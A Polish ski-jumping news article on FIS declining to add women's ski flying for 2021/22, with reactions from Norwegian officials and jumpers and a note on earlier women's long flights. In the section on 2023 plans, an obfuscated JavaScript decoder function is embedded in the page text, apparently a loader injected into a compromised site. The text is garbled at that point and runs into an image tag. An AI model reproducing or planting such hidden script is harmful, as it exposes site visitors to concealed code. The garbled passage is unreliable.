You are currently viewing Norweskie rozczarowanie brakiem lotów kobiet. Pertile: „Trzeba poczekać do kolejnego sezonu”
Maren Lundby (fot. Julia Piątkowska)

Norweskie rozczarowanie brakiem lotów kobiet. Pertile: „Trzeba poczekać do kolejnego sezonu”

Podczas wirtualnych obrad działaczy Międzynarodowej Federacji Narciarskiej, dokonano prezentacji proponowanych kalendarzy zmagań na sezon 2021/2022. Niestety zabrakło w nich miejsca dla lotów narciarskich kobiet, o które mocno zabiegali Norwegowie. Jego brak wywołał falę rozczarowania wśród norweskich działaczy, jak i samych zawodniczek. 

 

Bråthen: „Wydawało nam się, że argumenty są wystarczające”

Vikersund 2019 skocznia fot.LukaszSzymura 300x200 - Norweskie rozczarowanie brakiem lotów kobiet. Pertile: "Trzeba poczekać do kolejnego sezonu"
Vikersundbakken (fot. Łukasz Szymura)

O kwestii kobiecych lotów narciarskich od dawna jest bardzo głośno. W sprawę bardzo mocno zaangażowani są Norwegowie, a szczególnie  Maren Lundby, która od dłuższego czasu wykazuje swoją aktywność za pośrednictwem mediów społecznościowych. I kiedy wydawało się, że istnieje duża szansa na organizację Pucharu Świata kobiet na mamuciej Vikersundbakken (HS-240) już w marcu 2022 roku, publikacja najnowszego kalendarza FIS pozbawiła zwolenników tego pomysłu wszelkich złudzeń. Zarówno norwescy działacze, jak i zawodniczki, które od dawna marzą o ponad 200 metrowych lotach, nie kryli swoich odczuć.

Jesteśmy bardzo rozczarowani. Nigdy nie ukrywaliśmy tego jak bardzo nam zależy na organizacji konkursu kobiet na obiekcie mamucim. Wydawało się nam, że nasze argumenty są wystarczające, żeby przekonać władze FIS, jednak nie udało nam się jednak zebrać wystarczającej liczby krajów, które poparłyby ten projekt – powiedział wyraźnie niepocieszony dyrektor sportowy norweskich skoków, Clas Brede Bråthen.

Głównym argumentem FIS jest to, że panie nie są jeszcze gotowe na rywalizację w lotach narciarskich. Naszym argumentem jest jednak przede wszystkim głos samych zawodniczek. Warto zrobić krok naprzód, bowiem potrzebują tego zarówno dziewczyny, jak i same kobiece skoki. Chcemy, żeby dyscyplina cały czas się rozwijała. Wierzymy, że nasze starania przyniosą zamierzony skutek i uda nam się zorganizować konkurs kobiet na skoczni mamuciej w 2023 roku – dodał były skoczek.

 

Lundby: „To frustrujące”

Spela Rogelj NiznyTagil2021 fotEvgeniyVotintsev 300x200 - Norweskie rozczarowanie brakiem lotów kobiet. Pertile: "Trzeba poczekać do kolejnego sezonu"
Špela Rogelj (fot. Evgeniy Votintsev)

Zdaniem samej Lundby, główny problem leży jednak nie po stronie niskiego poziomu kobiecych skoków, a w opieszałości działaczy poszczególnych federacji. – Cały czas wmawia się nam, że nasza dyscyplina jest zbyt słabo rozwinięta, żeby mieć takie same prawa jak mężczyźni. To naprawdę frustrujące. Rozmawiałam z zawodniczkami z Austrii, Niemiec, Słowenii i Japonii. One wyraźnie opowiedziały się za chęcią oddania skoku na mamuciej skoczni. Jedna ze słoweńskich skoczkiń [Špela Rogelj – przyp.red.] nie wiedziała, że nawet tamtejsi działacze zagłosowali na „nie”. Myślę, że gdyby nasz głos był w niektórych krajach lepiej słyszalny, wówczas byłybyśmy w dużo lepszym położeniu – podkreśliła trzykrotna zdobywczyni Kryształowej Kuli.

Również koleżanka Lundby z norweskiej drużyny, Eirin Maria Kvandal, która podczas rywalizacji w Hinzenbach doznała groźnej kontuzji kolana nie może zrozumieć decyzji działaczy FIS. - To naprawdę bardzo smutne. To jak cios w twarz. W pewnym sensie spodziewałam się jednak takiej decyzji i nie jest ona dla mnie żadnym zaskoczeniem - przyznała zwyciężczyni pucharowych zawodów w Ljubnie.

Oprócz Lundby i Kvandal, za pośrednictwem mediów społecznościowych do sprawy odniosły się również inne zawodniczki, w tym Norweżka Silje Opseth czy wspomniana Špela Rogelj. Głosy wsparcia do pań płyną również od samych skoczków narciarskich, na czele z Halvorem Egnerem Granerudem i Bjornem Einarem Romorenem, któremu temat lotów narciarskich jest szczególnie bliski. - Jest mi ich zwyczajnie szkoda. Szczerze im współczuję. Myślę, że zasługują na szansę, żeby zobaczyć jak to jest polatać. Miałem nadzieję, że jednak działacze FIS w końcu ulegną - powiedział zdobywca Kryształowej Kuli w sezonie 2020/21. - Zgadzam się z Maren, że jest to odpowiedni czas na kobiece loty narciarskie. Organizacja takich zawodów wpłynęłoby znacząco na rozwój całej dyscypliny, a same zawodniczki już nieraz udowodniły, że skacząc na nartach radzą sobie świetnie - powiedział były rekordzista świata w długości lotu narciarskiego.

 

Loty kobiet planowane na 2023 rok

- Norweskie rozczarowanie brakiem lotów kobiet. Pertile: "Trzeba poczekać do kolejnego sezonu"function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0andro Pertile (fot. Julia Piątkowska)" src="https://www.skokipolska.pl/wp-content/uploads/2020/12/SandroPertile_2020_fot.JuliaPiatkowska-300x200.jpg" alt="Sandro Pertile (fot. Julia Piątkowska)" width="300" height="200"> Sandro Pertile (fot. Julia Piątkowska)

Jak podają Norwegowie, za poparciem projektu zagłosowało 7 na 16 uczestniczących w głosowaniu krajów. Liczba głosów okazała się jednak niewystarczająca. - To była otwarta dyskusja. Wysłuchując wszystkich opinii doszliśmy jednak do wniosku, żeby trzymać się wcześniej ustalonego planu. Skoczkinie będą miały okazję rywalizować na skoczni w Willingen, która jest największym z dużych obiektów i swoją specyfiką przypomina trochę obiekt mamuci. Na debiut lotów kobiet trzeba będzie jednak poczekać do kolejnego sezonu - zapowiada dyrektor Pucharu Świata, Włoch Sandro Pertile. Wszystko wskazuje więc na to, że na debiut skoczkiń na obiekcie mamucim będziemy musieli poczekać do sezonu 2022/2023.

Przypominamy, że jak dotąd nie odbyły się żadne oficjalne konkursy kobiet na obiektach do lotów narciarskich. Zawodniczki miały już jednak w przeszłości styczność z tego typu obiektami. Pierwszą z nich była Austriaczka Eva Ganster, która w 1997 roku uzyskała 167 metrów na skoczni w Bad Mitterndorf. Sześć lat później, jej rodaczka Daniela Iraschko poszybowała tam równe 200 m, stając się pierwszą kobietą, która doleciała do tej magicznej granicy. Sezon później z podobnej szansy skorzystały Norweżki Anette Sagen i Line Jahr, Amerykanka Lindsey Van i Szwedka Helena Olsson. Najlepiej spisały się Sagen i Olsson, uzyskując po 174,5 metra.

 

Łukasz Serba,
źródło: dagbladet.no / vg.no / tv2.no / skiforbundet.no

 

Dodaj komentarz